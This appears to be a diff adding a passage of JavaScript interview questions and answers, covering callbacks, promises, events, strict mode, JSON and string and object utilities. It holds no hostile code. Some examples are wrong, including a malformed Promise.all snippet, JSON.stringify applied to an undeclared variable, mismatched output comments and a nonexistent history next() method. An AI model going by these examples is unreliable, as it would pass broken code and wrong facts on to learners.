+    A callback function is a function passed into another function as an argument. This function is invoked inside the outer function to complete an action.
+    Let's take a simple example of how to use callback function
+
+    ```javascript
+    function callbackFunction(name) {
+        console.log('Hello ' + name);
+    }
+
+    function outerFunction(callback) {
+        let name = prompt('Please enter your name.');
+        callback(name);
+    }
+
+    outerFunction(callbackFunction);
+    ```
+
+55. Why do we need callbacks
+
+    The callbacks are needed because javascript is an event driven language. That means instead of waiting for a response javascript will keep executing while listening for other events.
+    Let's take an example with the first function invoking an API call(simulated by setTimeout) and the next function which logs the message.
+
+    ```javascript
+    function firstFunction() {
+        // Simulate a code delay
+        setTimeout(function () {
+            console.log('First function called');
+        }, 1000);
+    }
+    function secondFunction() {
+        console.log('Second function called');
+    }
+    firstFunction();
+    secondFunction();
+
+    Output;
+    // Second function called
+    // First function called
+    ```
+
+    As observed from the output, javascript didn't wait for the response of the first function and the remaining code block got executed. So callbacks are used in a way to make sure that certain code doesn't execute until the other code finishes execution.
+
+56. What is a callback hell
+
+    Callback Hell is an anti-pattern with multiple nested callbacks which makes code hard to read and debug when dealing with asynchronous logic. The callback hell looks like below,
+
+    ```javascript
+    async1(function(){
+        async2(function(){
+            async3(function(){
+                async4(function(){
+                    ....
+                });
+            });
+        });
+    });
+    ```
+
+57. What are server-sent events
+
+    Server-sent events (SSE) is a server push technology enabling a browser to receive automatic updates from a server via HTTP connection without resorting to polling. These are a one way communications channel - events flow from server to client only. This has been used in Facebook/Twitter updates, stock price updates, news feeds etc.
+
+58. How do you receive server-sent event notifications
+
+    The EventSource object is used to receive server-sent event notifications. For example, you can receive messages from server as below,
+
+    ```javascript
+    if (typeof EventSource !== 'undefined') {
+        var source = new EventSource('sse_generator.js');
+        source.onmessage = function (event) {
+            document.getElementById('output').innerHTML += event.data + '<br>';
+        };
+    }
+    ```
+
+59. How do you check browser support for server-sent events
+
+    You can perform browser support for server-sent events before using it as below,
+
+    ```javascript
+    if (typeof EventSource !== 'undefined') {
+        // Server-sent events supported. Let's have some code here!
+    } else {
+        // No server-sent events supported
+    }
+    ```
+
+60. What are the events available for server sent events
+
+    Below are the list of events available for server sent events
+    | Event | Description |
+    |---- | ---------
+    | onopen | It is used when a connection to the server is opened |
+    | onmessage | This event is used when a message is received |
+    | onerror | It happens when an error occurs|
+
+61. What are the main rules of promise
+
+    A promise must follow a specific set of rules,
+
+    1. A promise is an object that supplies a standard-compliant `.then()` method
+    2. A pending promise may transition into either fulfilled or rejected state
+    3. A fulfilled or rejected promise is settled and it must not transition into any other state.
+    4. Once a promise is settled, the value must not change.
+
+62. What is callback in callback
+
+    You can nest one callback inside in another callback to execute the actions sequentially one by one. This is known as callbacks in callbacks.
+
+    ```javascript
+    loadScript('/script1.js', function (script) {
+        console.log('first script is loaded');
+
+        loadScript('/script2.js', function (script) {
+            console.log('second script is loaded');
+
+            loadScript('/script3.js', function (script) {
+                console.log('third script is loaded');
+                // after all scripts are loaded
+            });
+        });
+    });
+    ```
+
+63. What is promise chaining
+
+    The process of executing a sequence of asynchronous tasks one after another using promises is known as Promise chaining. Let's take an example of promise chaining for calculating the final result,
+
+    ```javascript
+    new Promise(function (resolve, reject) {
+        setTimeout(() => resolve(1), 1000);
+    })
+        .then(function (result) {
+            console.log(result); // 1
+            return result * 2;
+        })
+        .then(function (result) {
+            console.log(result); // 2
+            return result * 3;
+        })
+        .then(function (result) {
+            console.log(result); // 6
+            return result * 4;
+        });
+    ```
+
+    In the above handlers, the result is passed to the chain of .then() handlers with the below work flow,
+
+    1. The initial promise resolves in 1 second,
+    2. After that `.then` handler is called by logging the result(1) and then return a promise with the value of result \* 2.
+    3. After that the value passed to the next `.then` handler by logging the result(2) and return a promise with result \* 3.
+    4. Finally the value passed to the last `.then` handler by logging the result(6) and return a promise with result \* 4.
+
+64. What is promise.all
+
+    Promise.all is a promise that takes an array of promises as an input (an iterable), and it gets resolved when all the promises get resolved or any one of them gets rejected. For example, the syntax of promise.all method is below,
+
+    ```javascript
+    Promise.all([Promise1, Promise2, Promise3]) .then(result) => {   console.log(result) }) .catch(error => console.log(`Error in promises ${error}`))
+    ```
+
+    **Note:** Remember that the order of the promises(output the result) is maintained as per input order.
+
+65. What is the purpose of the race method in promise
+
+    Promise.race() method will return the promise instance which is firstly resolved or rejected. Let's take an example of race() method where promise2 is resolved first
+
+    ```javascript
+    var promise1 = new Promise(function (resolve, reject) {
+        setTimeout(resolve, 500, 'one');
+    });
+    var promise2 = new Promise(function (resolve, reject) {
+        setTimeout(resolve, 100, 'two');
+    });
+
+    Promise.race([promise1, promise2]).then(function (value) {
+        console.log(value); // "two" // Both promises will resolve, but promise2 is faster
+    });
+    ```
+
+66. What is a strict mode in javascript
+
+    Strict Mode is a new feature in ECMAScript 5 that allows you to place a program, or a function, in a "strict" operating context. This way it prevents certain actions from being taken and throws more exceptions. The literal expression `"use strict";` instructs the browser to use the javascript code in the Strict mode.
+
+67. Why do you need strict mode
+
+    Strict mode is useful to write "secure" JavaScript by notifying "bad syntax" into real errors. For example, it eliminates accidentally creating a global variable by throwing an error and also throws an error for assignment to a non-writable property, a getter-only property, a non-existing property, a non-existing variable, or a non-existing object.
+
+68. How do you declare strict mode
+
+    The strict mode is declared by adding "use strict"; to the beginning of a script or a function.
+    If declared at the beginning of a script, it has global scope.
+
+    ```javascript
+    'use strict';
+    x = 3.14; // This will cause an error because x is not declared
+    ```
+
+    and if you declare inside a function, it has local scope
+
+    ```javascript
+    x = 3.14; // This will not cause an error.
+    myFunction();
+
+    function myFunction() {
+        'use strict';
+        y = 3.14; // This will cause an error
+    }
+    ```
+
+69. What is the purpose of double exclamation
+
+    The double exclamation or negation(!!) ensures the resulting type is a boolean. If it was falsey (e.g. 0, null, undefined, etc.), it will be false, otherwise, true.
+    For example, you can test IE version using this expression as below,
+
+    ```javascript
+    let isIE8 = false;
+    isIE8 = !!navigator.userAgent.match(/MSIE 8.0/);
+    console.log(isIE8); // returns true or false
+    ```
+
+    If you don't use this expression then it returns the original value.
+
+    ```javascript
+    console.log(navigator.userAgent.match(/MSIE 8.0/)); // returns either an Array or null
+    ```
+
+    **Note:** The expression !! is not an operator, but it is just twice of ! operator.
+
+70. What is the purpose of the delete operator
+
+    The delete keyword is used to delete the property as well as its value.
+
+    ```javascript
+    var user = { name: 'John', age: 20 };
+    delete user.age;
+
+    console.log(user); // {name: "John"}
+    ```
+
+71. What is the typeof operator
+
+    You can use the JavaScript typeof operator to find the type of a JavaScript variable. It returns the type of a variable or an expression.
+
+    ```javascript
+    typeof 'John Abraham'; // Returns "string"
+    typeof (1 + 2); // Returns "number"
+    ```
+
+72. What is undefined property
+
+    The undefined property indicates that a variable has not been assigned a value, or not declared at all. The type of undefined value is undefined too.
+
+    ```javascript
+    var user; // Value is undefined, type is undefined
+    console.log(typeof user); //undefined
+    ```
+
+    Any variable can be emptied by setting the value to undefined.
+
+    ```javascript
+    user = undefined;
+    ```
+
+73. What is null value
+
+    The value null represents the intentional absence of any object value. It is one of JavaScript's primitive values. The type of null value is object.
+    You can empty the variable by setting the value to null.
+
+    ```javascript
+    var user = null;
+    console.log(typeof user); //object
+    ```
+
+74. What is the difference between null and undefined
+
+    Below are the main differences between null and undefined,
+
+    | Null                                                                                            | Undefined                                                                                               |
+    | ----------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+    | It is an assignment value which indicates that variable points to no object.                    | It is not an assignment value where a variable has been declared but has not yet been assigned a value. |
+    | Type of null is object                                                                          | Type of undefined is undefined                                                                          |
+    | The null value is a primitive value that represents the null, empty, or non-existent reference. | The undefined value is a primitive value used when a variable has not been assigned a value.            |
+    | Indicates the absence of a value for a variable                                                 | Indicates absence of variable itself                                                                    |
+    | Converted to zero (0) while performing primitive operations                                     | Converted to NaN while performing primitive operations                                                  |
+
+75. What is eval
+
+    The eval() function evaluates JavaScript code represented as a string. The string can be a JavaScript expression, variable, statement, or sequence of statements.
+
+    ```javascript
+    console.log(eval('1 + 2')); //  3
+    ```
+
+76. What is the difference between window and document
+
+    Below are the main differences between window and document,
+
+    | Window                                                                        | Document                                                                                      |
+    | ----------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
+    | It is the root level element in any web page                                  | It is the direct child of the window object. This is also known as Document Object Model(DOM) |
+    | By default window object is available implicitly in the page                  | You can access it via window.document or document.                                            |
+    | It has methods like alert(), confirm() and properties like document, location | It provides methods like getElementById, getElementsByTagName, createElement etc              |
+
+77. How do you access history in javascript
+
+    The window.history object contains the browser's history. You can load previous and next URLs in the history using back() and next() methods.
+
+    ```javascript
+    function goBack() {
+        window.history.back();
+    }
+    function goForward() {
+        window.history.forward();
+    }
+    ```
+
+    **Note:** You can also access history without window prefix.
+
+78. How do you detect caps lock key turned on or not
+
+        The `mouseEvent getModifierState()` is used to return a boolean value that indicates whether the specified modifier key is activated or not. The modifiers such as CapsLock, ScrollLock and NumLock are activated when they are clicked, and deactivated when they are clicked again.
+
+        Let's take an input element to detect the CapsLock on/off behavior with an example,
+
+        ```html
+        <input type="password" onmousedown="enterInput(event)" />
+
+        <p id="feedback">
+
+    </p>
+
+        <script>
+            function enterInput(e) {
+                var flag = e.getModifierState('CapsLock');
+                if (flag) {
+                    document.getElementById('feedback').innerHTML = 'CapsLock activated';
+                } else {
+                    document.getElementById('feedback').innerHTML = 'CapsLock not activated';
+                }
+            }
+        </script>
+        ```
+
+79. What is isNaN
+
+    The isNaN() function is used to determine whether a value is an illegal number (Not-a-Number) or not. i.e, This function returns true if the value equates to NaN. Otherwise it returns false.
+
+    ```javascript
+    isNaN('Hello'); //true
+    isNaN('100'); //false
+    ```
+
+80. What are the differences between undeclared and undefined variables
+
+    Below are the major differences between undeclared and undefined variables,
+
+    | undeclared                                                                                  | undefined                                                                              |
+    | ------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- |
+    | These variables do not exist in a program and are not declared                              | These variables declared in the program but have not assigned any value                |
+    | If you try to read the value of an undeclared variable, then a runtime error is encountered | If you try to read the value of an undefined variable, an undefined value is returned. |
+
+81. What are global variables
+
+    Global variables are those that are available throughout the length of the code without any scope. The var keyword is used to declare a local variable but if you omit it then it will become global variable
+
+    ```javascript
+    msg = 'Hello'; // var is missing, it becomes global variable
+    ```
+
+82. What are the problems with global variables
+
+    The problem with global variables is the conflict of variable names of local and global scope. It is also difficult to debug and test the code that relies on global variables.
+
+83. What is NaN property
+
+    The NaN property is a global property that represents "Not-a-Number" value. i.e, It indicates that a value is not a legal number. It is very rare to use NaN in a program but it can be used as return value for few cases
+
+    ```javascript
+    Math.sqrt(-1);
+    parseInt('Hello');
+    ```
+
+84. What is the purpose of isFinite function
+
+    The isFinite() function is used to determine whether a number is a finite, legal number. It returns false if the value is +infinity, -infinity, or NaN (Not-a-Number), otherwise it returns true.
+
+    ```javascript
+    isFinite(Infinity); // false
+    isFinite(NaN); // false
+    isFinite(-Infinity); // false
+
+    isFinite(100); // true
+    ```
+
+85. What is an event flow
+
+    Event flow is the order in which event is received on the web page. When you click an element that is nested in various other elements, before your click actually reaches its destination, or target element, it must trigger the click event for each of its parent elements first, starting at the top with the global window object.
+    There are two ways of event flow
+
+    1. Top to Bottom(Event Capturing)
+    2. Bottom to Top (Event Bubbling)
+
+86. What is event bubbling
+
+    Event bubbling is a type of event propagation where the event first triggers on the innermost target element, and then successively triggers on the ancestors (parents) of the target element in the same nesting hierarchy till it reaches the outermost DOM element.
+
+87. What is event capturing
+
+    Event capturing is a type of event propagation where the event is first captured by the outermost element, and then successively triggers on the descendants (children) of the target element in the same nesting hierarchy till it reaches the innermost DOM element.
+
+88. How do you submit a form using JavaScript
+
+    You can submit a form using `document.forms[0].submit()`. All the form input's information is submitted using onsubmit event handler
+
+    ```javascript
+    function submit() {
+        document.forms[0].submit();
+    }
+    ```
+
+89. How do you find operating system details
+
+    The window.navigator object contains information about the visitor's browser OS details. Some of the OS properties are available under platform property,
+
+    ```javascript
+    console.log(navigator.platform);
+    ```
+
+90. What is the difference between document load and DOMContentLoaded events
+
+    The `DOMContentLoaded` event is fired when the initial HTML document has been completely loaded and parsed, without waiting for assets(stylesheets, images, and subframes) to finish loading. Whereas The load event is fired when the whole page has loaded, including all dependent resources(stylesheets, images).
+
+91. What is the difference between native, host and user objects
+
+    `Native objects` are objects that are part of the JavaScript language defined by the ECMAScript specification. For example, String, Math, RegExp, Object, Function etc core objects defined in the ECMAScript spec.
+    `Host objects` are objects provided by the browser or runtime environment (Node). For example, window, XmlHttpRequest, DOM nodes etc are considered as host objects.
+    `User objects` are objects defined in the javascript code. For example, User objects created for profile information.
+
+92. What are the tools or techniques used for debugging JavaScript code
+
+    You can use below tools or techniques for debugging javascript
+
+    1. Chrome Devtools
+    2. debugger statement
+    3. Good old console.log statement
+
+93. What are the pros and cons of promises over callbacks
+
+    Below are the list of pros and cons of promises over callbacks,
+
+    **Pros:**
+
+    1. It avoids callback hell which is unreadable
+    2. Easy to write sequential asynchronous code with .then()
+    3. Easy to write parallel asynchronous code with Promise.all()
+    4. Solves some of the common problems of callbacks(call the callback too late, too early, many times and swallow errors/exceptions)
+
+    **Cons:**
+
+    1. It makes little complex code
+    2. You need to load a polyfill if ES6 is not supported
+
+94. What is the difference between an attribute and a property
+
+    Attributes are defined on the HTML markup whereas properties are defined on the DOM. For example, the below HTML element has 2 attributes type and value,
+
+    ```javascript
+    <input type="text" value="Name:">
+    ```
+
+    You can retrieve the attribute value as below,
+
+    ```javascript
+    const input = document.querySelector('input');
+    console.log(input.getAttribute('value')); // Good morning
+    console.log(input.value); // Good morning
+    ```
+
+    And after you change the value of the text field to "Good evening", it becomes like
+
+    ```javascript
+    console.log(input.getAttribute('value')); // Good morning
+    console.log(input.value); // Good evening
+    ```
+
+95. What is same-origin policy
+
+    The same-origin policy is a policy that prevents JavaScript from making requests across domain boundaries. An origin is defined as a combination of URI scheme, hostname, and port number. If you enable this policy then it prevents a malicious script on one page from obtaining access to sensitive data on another web page using Document Object Model(DOM).
+
+96. What is the purpose of void 0
+
+    Void(0) is used to prevent the page from refreshing. This will be helpful to eliminate the unwanted side-effect, because it will return the undefined primitive value. It is commonly used for HTML documents that use href="JavaScript:Void(0);" within an `<a>` element. i.e, when you click a link, the browser loads a new page or refreshes the same page. But this behavior will be prevented using this expression.
+    For example, the below link notify the message without reloading the page
+
+    ```javascript
+    <a href="JavaScript:void(0);" onclick="alert('Well done!')">
+        Click Me!
+    </a>
+    ```
+
+97. Is JavaScript a compiled or interpreted language
+
+    JavaScript is an interpreted language, not a compiled language. An interpreter in the browser reads over the JavaScript code, interprets each line, and runs it. Nowadays modern browsers use a technology known as Just-In-Time (JIT) compilation, which compiles JavaScript to executable bytecode just as it is about to run.
+
+98. Is JavaScript a case-sensitive language
+
+    Yes, JavaScript is a case sensitive language. The language keywords, variables, function & object names, and any other identifiers must always be typed with a consistent capitalization of letters.
+
+99. Is there any relation between Java and JavaScript
+
+    No, they are entirely two different programming languages and have nothing to do with each other. But both of them are Object Oriented Programming languages and like many other languages, they follow similar syntax for basic features(if, else, for, switch, break, continue etc).
+
+100.    What are events
+
+        Events are "things" that happen to HTML elements. When JavaScript is used in HTML pages, JavaScript can `react` on these events. Some of the examples of HTML events are,
+
+        1. Web page has finished loading
+        2. Input field was changed
+        3. Button was clicked
+
+        Let's describe the behavior of click event for button element,
+
+        ```javascript
+        <!doctype html>
+        <html>
+         <head>
+           <script>
+             function greeting() {
+               alert('Hello! Good morning');
+             }
+           </script>
+         </head>
+         <body>
+           <button type="button" onclick="greeting()">Click me</button>
+         </body>
+        </html>
+        ```
+
+101.    Who created javascript
+
+        JavaScript was created by Brendan Eich in 1995 during his time at Netscape Communications. Initially it was developed under the name `Mocha`, but later the language was officially called `LiveScript` when it first shipped in beta releases of Netscape.
+
+102.    What is the use of preventDefault method
+
+        The preventDefault() method cancels the event if it is cancelable, meaning that the default action or behaviour that belongs to the event will not occur. For example, prevent form submission when clicking on submit button and prevent opening the page URL when clicking on hyperlink are some common use cases.
+
+        ```javascript
+        document.getElementById('link').addEventListener('click', function (event) {
+            event.preventDefault();
+        });
+        ```
+
+        **Note:** Remember that not all events are cancelable.
+
+103.    What is the use of stopPropagation method
+
+        The stopPropagation method is used to stop the event from bubbling up the event chain. For example, the below nested divs with stopPropagation method prevents default event propagation when clicking on nested div(Div1)
+
+        ```javascript
+        <p>Click DIV1 Element</p>
+        <div onclick="secondFunc()">DIV 2
+          <div onclick="firstFunc(event)">DIV 1</div>
+        </div>
+
+        <script>
+        function firstFunc(event) {
+          alert("DIV 1");
+          event.stopPropagation();
+        }
+
+        function secondFunc() {
+          alert("DIV 2");
+        }
+        </script>
+        ```
+
+104.    What are the steps involved in return false usage
+
+        The return false statement in event handlers performs the below steps,
+
+        1. First it stops the browser's default action or behaviour.
+        2. It prevents the event from propagating the DOM
+        3. Stops callback execution and returns immediately when called.
+
+105.    What is BOM
+
+        The Browser Object Model (BOM) allows JavaScript to "talk to" the browser. It consists of the objects navigator, history, screen, location and document which are children of the window. The Browser Object Model is not standardized and can change based on different browsers.
+
+        ![Screenshot](images/bom.png)
+
+106.    What is the use of setTimeout
+
+        The setTimeout() method is used to call a function or evaluate an expression after a specified number of milliseconds. For example, let's log a message after 2 seconds using setTimeout method,
+
+        ```javascript
+        setTimeout(function () {
+            console.log('Good morning');
+        }, 2000);
+        ```
+
+107.    What is the use of setInterval
+
+        The setInterval() method is used to call a function or evaluate an expression at specified intervals (in milliseconds). For example, let's log a message after 2 seconds using setInterval method,
+
+        ```javascript
+        setInterval(function () {
+            console.log('Good morning');
+        }, 2000);
+        ```
+
+108.    Why is JavaScript treated as Single threaded
+
+        JavaScript is a single-threaded language. Because the language specification does not allow the programmer to write code so that the interpreter can run parts of it in parallel in multiple threads or processes. Whereas languages like java, go, C++ can make multi-threaded and multi-process programs.
+
+109.    What is an event delegation
+
+        Event delegation is a technique for listening to events where you delegate a parent element as the listener for all of the events that happen inside it.
+
+        For example, if you wanted to detect field changes in inside a specific form, you can use event delegation technique,
+
+        ```javascript
+        var form = document.querySelector('#registration-form');
+
+        // Listen for changes to fields inside the form
+        form.addEventListener(
+            'input',
+            function (event) {
+                // Log the field that was changed
+                console.log(event.target);
+            },
+            false
+        );
+        ```
+
+110.    What is ECMAScript
+
+        ECMAScript is the scripting language that forms the basis of JavaScript. ECMAScript standardized by the ECMA International standards organization in the ECMA-262 and ECMA-402 specifications. The first edition of ECMAScript was released in 1997.
+
+111.    What is JSON
+
+        JSON (JavaScript Object Notation) is a lightweight format that is used for data interchanging. It is based on a subset of JavaScript language in the way objects are built in JavaScript.
+
+112.    What are the syntax rules of JSON
+
+        Below are the list of syntax rules of JSON
+
+        1. The data is in name/value pairs
+        2. The data is separated by commas
+        3. Curly braces hold objects
+        4. Square brackets hold arrays
+
+113.    What is the purpose JSON stringify
+
+        When sending data to a web server, the data has to be in a string format. You can achieve this by converting JSON object into a string using stringify() method.
+
+        ```javascript
+        var userJSON = { name: 'John', age: 31 };
+        var userString = JSON.stringify(user);
+        console.log(userString); //"{"name":"John","age":31}"
+        ```
+
+114.    How do you parse JSON string
+
+        When receiving the data from a web server, the data is always in a string format. But you can convert this string value to a javascript object using parse() method.
+
+        ```javascript
+        var userString = '{"name":"John","age":31}';
+        var userJSON = JSON.parse(userString);
+        console.log(userJSON); // {name: "John", age: 31}
+        ```
+
+115.    Why do you need JSON
+
+        When exchanging data between a browser and a server, the data can only be text. Since JSON is text only, it can easily be sent to and from a server, and used as a data format by any programming language.
+
+116.    What are PWAs
+
+        Progressive web applications (PWAs) are a type of mobile app delivered through the web, built using common web technologies including HTML, CSS and JavaScript. These PWAs are deployed to servers, accessible through URLs, and indexed by search engines.
+
+117.    What is the purpose of clearTimeout method
+
+        The clearTimeout() function is used in javascript to clear the timeout which has been set by setTimeout()function before that. i.e, The return value of setTimeout() function is stored in a variable and it's passed into the clearTimeout() function to clear the timer.
+
+        For example, the below setTimeout method is used to display the message after 3 seconds. This timeout can be cleared by the clearTimeout() method.
+
+        ```javascript
+        <script>
+        var msg;
+        function greeting() {
+           alert('Good morning');
+        }
+        function start() {
+          msg =setTimeout(greeting, 3000);
+
+        }
+
+        function stop() {
+            clearTimeout(msg);
+        }
+        </script>
+        ```
+
+118.    What is the purpose of clearInterval method
+
+        The clearInterval() function is used in javascript to clear the interval which has been set by setInterval() function. i.e, The return value returned by setInterval() function is stored in a variable and it's passed into the clearInterval() function to clear the interval.
+
+        For example, the below setInterval method is used to display the message for every 3 seconds. This interval can be cleared by the clearInterval() method.
+
+        ```javascript
+        <script>
+        var msg;
+        function greeting() {
+           alert('Good morning');
+        }
+        function start() {
+          msg = setInterval(greeting, 3000);
+
+        }
+
+        function stop() {
+            clearInterval(msg);
+        }
+        </script>
+        ```
+
+119.    How do you redirect new page in javascript
+
+        In vanilla javascript, you can redirect to a new page using the `location` property of window object. The syntax would be as follows,
+
+        ```javascript
+        function redirect() {
+            window.location.href = 'newPage.html';
+        }
+        ```
+
+120.    How do you check whether a string contains a substring
+
+        There are 3 possible ways to check whether a string contains a substring or not,
+
+        1. **Using includes:** ES6 provided `String.prototype.includes` method to test a string contains a substring
+
+        ```javascript
+        var mainString = 'hello',
+            subString = 'hell';
+        mainString.includes(subString);
+        ```
+
+        1. **Using indexOf:** In an ES5 or older environment, you can use `String.prototype.indexOf` which returns the index of a substring. If the index value is not equal to -1 then it means the substring exists in the main string.
+
+        ```javascript
+        var mainString = 'hello',
+            subString = 'hell';
+        mainString.indexOf(subString) !== -1;
+        ```
+
+        1. **Using RegEx:** The advanced solution is using Regular expression's test method(`RegExp.test`), which allows for testing for against regular expressions
+
+        ```javascript
+        var mainString = 'hello',
+            regex = /hell/;
+        regex.test(mainString);
+        ```
+
+121.    How do you validate an email in javascript
+
+        You can validate an email in javascript using regular expressions. It is recommended to do validations on the server side instead of the client side. Because the javascript can be disabled on the client side.
+
+        ```javascript
+        function validateEmail(email) {
+            var re =
+                /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
+            return re.test(String(email).toLowerCase());
+        }
+        ```
+
+        The above regular expression accepts unicode characters.
+
+122.    How do you get the current url with javascript
+
+        You can use `window.location.href` expression to get the current url path and you can use the same expression for updating the URL too. You can also use `document.URL` for read-only purposes but this solution has issues in FF.
+
+        ```javascript
+        console.log('location.href', window.location.href); // Returns full URL
+        ```
+
+123.    What are the various url properties of location object
+
+        The below `Location` object properties can be used to access URL components of the page,
+
+        1. href - The entire URL
+        2. protocol - The protocol of the URL
+        3. host - The hostname and port of the URL
+        4. hostname - The hostname of the URL
+        5. port - The port number in the URL
+        6. pathname - The path name of the URL
+        7. search - The query portion of the URL
+        8. hash - The anchor portion of the URL
+
+124.    How do get query string values in javascript
+
+        You can use URLSearchParams to get query string values in javascript. Let's see an example to get the client code value from URL query string,
+
+        ```javascript
+        const urlParams = new URLSearchParams(window.location.search);
+        const clientCode = urlParams.get('clientCode');
+        ```
+
+125.    How do you check if a key exists in an object
+
+        You can check whether a key exists in an object or not using three approaches,
+
+        1. **Using in operator:** You can use the in operator whether a key exists in an object or not
+
+        ```javascript
+        'key' in obj;
+        ```
+
+        and If you want to check if a key doesn't exist, remember to use parenthesis,
+
+        ```javascript
+        !('key' in obj);
+        ```
+
+        1. **Using hasOwnProperty method:** You can use `hasOwnProperty` to particularly test for properties of the object instance (and not inherited properties)
+
+        ```javascript
+        obj.hasOwnProperty('key'); // true
+        ```
+
+        1. **Using undefined comparison:** If you access a non-existing property from an object, the result is undefined. Let's compare the properties against undefined to determine the existence of the property.
+
+        ```javascript
+        const user = {
+            name: 'John'
+        };
+
+        console.log(user.name !== undefined); // true
+        console.log(user.nickName !== undefined); // false
+        ```
+
+126.    How do you loop through or enumerate javascript object
+
+        You can use the `for-in` loop to loop through javascript object. You can also make sure that the key you get is an actual property of an object, and doesn't come from the prototype using `hasOwnProperty` method.
+
+        ```javascript
+        var object = {
+            k1: 'value1',
+            k2: 'value2',
+            k3: 'value3'
+        };
+
+        for (var key in object) {
+            if (object.hasOwnProperty(key)) {
+                console.log(key + ' -> ' + object[key]); // k1 -> value1 ...
+            }
+        }
+        ```
+
+127.    How do you test for an empty object
+
+        There are different solutions based on ECMAScript versions
+
+        1. **Using Object entries(ECMA 7+):** You can use object entries length along with constructor type.
+
+        ```javascript
+        Object.entries(obj).length === 0 && obj.constructor === Object; // Since date object length is 0, you need to check constructor check as well
+        ```
+
+        1. **Using Object keys(ECMA 5+):** You can use object keys length along with constructor type.
+
+        ```javascript
+        Object.keys(obj).length === 0 && obj.constructor === Object; // Since date object length is 0, you need to check constructor check as well
+        ```
+
+        1. **Using for-in with hasOwnProperty(Pre-ECMA 5):** You can use a for-in loop along with hasOwnProperty.
+
+        ```javascript
+        function isEmpty(obj) {
+            for (var prop in obj) {
+                if (obj.hasOwnProperty(prop)) {
+                    return false;
+                }
+            }
+
+            return JSON.stringify(obj) === JSON.stringify({});
+        }
+        ```
+
+128.    What is an arguments object
+
+        The arguments object is an Array-like object accessible inside functions that contains the values of the arguments passed to that function. For example, let's see how to use arguments object inside sum function,
+
+        ```javascript
+        function sum() {
+            var total = 0;
+            for (var i = 0, len = arguments.length; i < len; ++i) {
+                total += arguments[i];
+            }
+            return total;
+        }
+
+        sum(1, 2, 3); // returns 6
+        ```
+
+        **Note:** You can't apply array methods on arguments object. But you can convert into a regular array as below.
+
+        ```javascript
+        var argsArray = Array.prototype.slice.call(arguments);
+        ```
+
+129.    How do you make first letter of the string in an uppercase
+
+        You can create a function which uses a chain of string methods such as charAt, toUpperCase and slice methods to generate a string with the first letter in uppercase.
+
+        ```javascript
+        function capitalizeFirstLetter(string) {
+            return string.charAt(0).toUpperCase() + string.slice(1);
+        }
+        ```
+
+130.    What are the pros and cons of for loop
+
+        The for-loop is a commonly used iteration syntax in javascript. It has both pros and cons
+
+Pros
+
+     1. Works on every environment
+     2. You can use break and continue flow control statements
+
+Cons
+
+     1. Too verbose
+     2. Imperative
+     3. You might face one-by-off errors
+
+131.    How do you display the current date in javascript
+
+        You can use `new Date()` to generate a new Date object containing the current date and time. For example, let's display the current date in mm/dd/yyyy
+
+        ```javascript
+        var today = new Date();
+        var dd = String(today.getDate()).padStart(2, '0');
+        var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!
+        var yyyy = today.getFullYear();
+
+        today = mm + '/' + dd + '/' + yyyy;
+        document.write(today);
+        ```
+
+132.    How do you compare two date objects
+
+        You need to use date.getTime() method to compare date values instead of comparison operators (==, !=, ===, and !== operators)
+
+        ```javascript
+        var d1 = new Date();
+        var d2 = new Date(d1);
+        console.log(d1.getTime() === d2.getTime()); //True
+        console.log(d1 === d2); // False
+        ```
+
+133.    How do you check if a string starts with another string
+
+        You can use ECMAScript 6's `String.prototype.startsWith()` method to check if a string starts with another string or not. But it is not yet supported in all browsers. Let's see an example to see this usage,
+
+        ```javascript
+        'Good morning'.startsWith('Good'); // true
+        'Good morning'.startsWith('morning'); // false
+        ```
+
+134.    How do you trim a string in javascript
+
+        JavaScript provided a trim method on string types to trim any whitespaces present at the beginning or ending of the string.
+
+        ```javascript
+        '  Hello World   '.trim(); //Hello World
+        ```
+
+        If your browser(<IE9) doesn't support this method then you can use below polyfill.
+
+        ```javascript
+        if (!String.prototype.trim) {
+            (function () {
+                // Make sure we trim BOM and NBSP
+                var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
+                String.prototype.trim = function () {
+                    return this.replace(rtrim, '');
+                };
+            })();
+        }
+        ```
+
+135.    How do you add a key value pair in javascript
+
+        There are two possible solutions to add new properties to an object. Let's take a simple object to explain these solutions.
+
+        ```javascript
+        var object = {
+            key1: value1,
+            key2: value2
+        };
+        ```
+
+        1. **Using dot notation:** This solution is useful when you know the name of the property
+
+        ```javascript
+        object.key3 = 'value3';
+        ```
+
+        1. **Using square bracket notation:** This solution is useful when the name of the property is dynamically determined.
+
+        ```javascript
+        obj['key3'] = 'value3';
+        ```
+
+136.    Is the !-- notation represents a special operator
+
+        No,that's not a special operator. But it is a combination of 2 standard operators one after the other,
+
+        1. A logical not (!)
+        2. A prefix decrement (--)
+
+        At first, the value decremented by one and then tested to see if it is equal to zero or not for determining the truthy/falsy value.
+
+137.    How do you assign default values to variables
+
+        You can use the logical or operator `||` in an assignment expression to provide a default value. The syntax looks like as below,
+
+        ```javascript
+        var a = b || c;
+        ```
+
+        As per the above expression, variable 'a 'will get the value of 'c' only if 'b' is falsy (if is null, false, undefined, 0, empty string, or NaN), otherwise 'a' will get the value of 'b'.
+
+138.    How do you define multiline strings
+
+        You can define multiline string literals using the '\\' character followed by line terminator.
+
+        ```javascript
+        var str =
+            'This is a \
+        very lengthy \
+        sentence!';
+        ```
+
+        But if you have a space after the '\\' character, the code will look exactly the same, but it will raise a SyntaxError.
+
+139.    What is an app shell model
+
+        An application shell (or app shell) architecture is one way to build a Progressive Web App that reliably and instantly loads on your users' screens, similar to what you see in native applications. It is useful for getting some initial HTML to the screen fast without a network.
+
+140.    Can we define properties for functions
+
+        Yes, We can define properties for functions because functions are also objects.
+
+        ```javascript
+        fn = function (x) {
+            //Function code goes here
+        };
+
+        fn.name = 'John';
+
+        fn.profile = function (y) {
+            //Profile code goes here
+        };
+        ```
+
+141.    What is the way to find the number of parameters expected by a function
+
+        You can use `function.length` syntax to find the number of parameters expected by a function. Let's take an example of `sum` function to calculate the sum of numbers,
+
+        ```javascript
+        function sum(num1, num2, num3, num4) {
+            return num1 + num2 + num3 + num4;
+        }
